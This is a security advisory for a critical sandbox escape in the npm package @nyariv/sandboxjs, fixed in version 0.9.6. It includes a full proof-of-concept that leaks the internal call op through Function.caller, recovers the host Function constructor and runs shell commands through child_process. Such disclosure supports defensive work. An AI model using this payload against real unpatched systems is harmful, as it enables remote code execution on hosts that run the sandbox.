Advisory

GHSA-g8f2-4f4f-5jqw

Also known as: CVE-2026-43898

Summary

SandboxJS has a sandbox escape via Function.caller leakage of internal call op

Details

Summary
Sandbox-defined functions expose Function.caller, allowing sandboxed code to recover the internal LispType.Call runtime callback. That callback can then be invoked with attacker-controlled fake context and obj values to extract blocked host statics, recover the real host Function constructor, and execute arbitrary host JavaScript.
Details

The vulnerability is in the property access logic registered via addOps in prop.ts. Sandboxed code could access the caller, callee, and arguments properties on functions. In the CommonJS build, this allowed sandboxed code to read Function.caller and leak a privileged internal LispType.Call callback.

In executorUtils.ts createFunction() constructs normal host JS functions, and because these are ordinary host functions, sandbox code can observe:

function f(){ return f.caller }

That leaks the host-side callback that invoked the sandbox function. This leaked callback is the internal LispType.Call op, which is registered in call.ts. The escape was possible because the LispType.Call handler accepts a params object from the attacker and uses its fields without authenticating that they came from the executor. if you looked at those branches call.ts:47, call.ts:70, call.ts:149. This means the attacker controls obj.context, obj.prop, obj.get, context.evals.get and a. This can lead to direct invocation of an internal primitive with forged operands

PoC

const sandb = require('@nyariv/sandboxjs').default;
const sand = new sandb(); 

const payload = `
const callOp = (function fn() { return fn.caller; })();

function makeContext(capture = () => {}) {
  return { ctx: { options: 0 }, evals: { get: capture } };
}

function leakStatic(obj, prop) {
  let leaked;
  callOp({
    done() {},
    a() {},
    b: [],
    obj: { context: obj, prop, get() {} },
    context: makeContext((fn) => (leaked = fn, () => 1))
  });
  return leaked;
}

function callDirect(fn, args) {
  let value;
  callOp({
    done(_, result) { value = result; },
    a() {},
    b: args,
    obj: fn,
    context: makeContext()
  });
  return value;
}

callDirect(leakStatic(Object, 'defineProperty'), [
  leakStatic,
  'call',
  callDirect(leakStatic(Object, 'getOwnPropertyDescriptor'), [
    callDirect(leakStatic(Object, 'getPrototypeOf'), [() => 0]),
    'constructor'
  ])
]);

let hostFn;
callOp({
  done(_, result) { hostFn = result; },
  a: leakStatic,
  b: [],
  obj: {
    context: 'return process.getBuiltinModule("child_process").execSync("whoami").toString()',
    get() {}
  },
  context: makeContext()
});

return hostFn();
`;

console.log(sand.compile(payload)().run());

Impact
_Sandbox escape leads to RCE_

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2026-05-11 19:40 UTC
Modified
2026-09-10 03:51 UTC

Affected packages and fixes

@nyariv/sandboxjs

npm · All systems

Affected

  • introduced 0, fixed 0.9.6 (semver)

Fixed versions

0.9.6

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences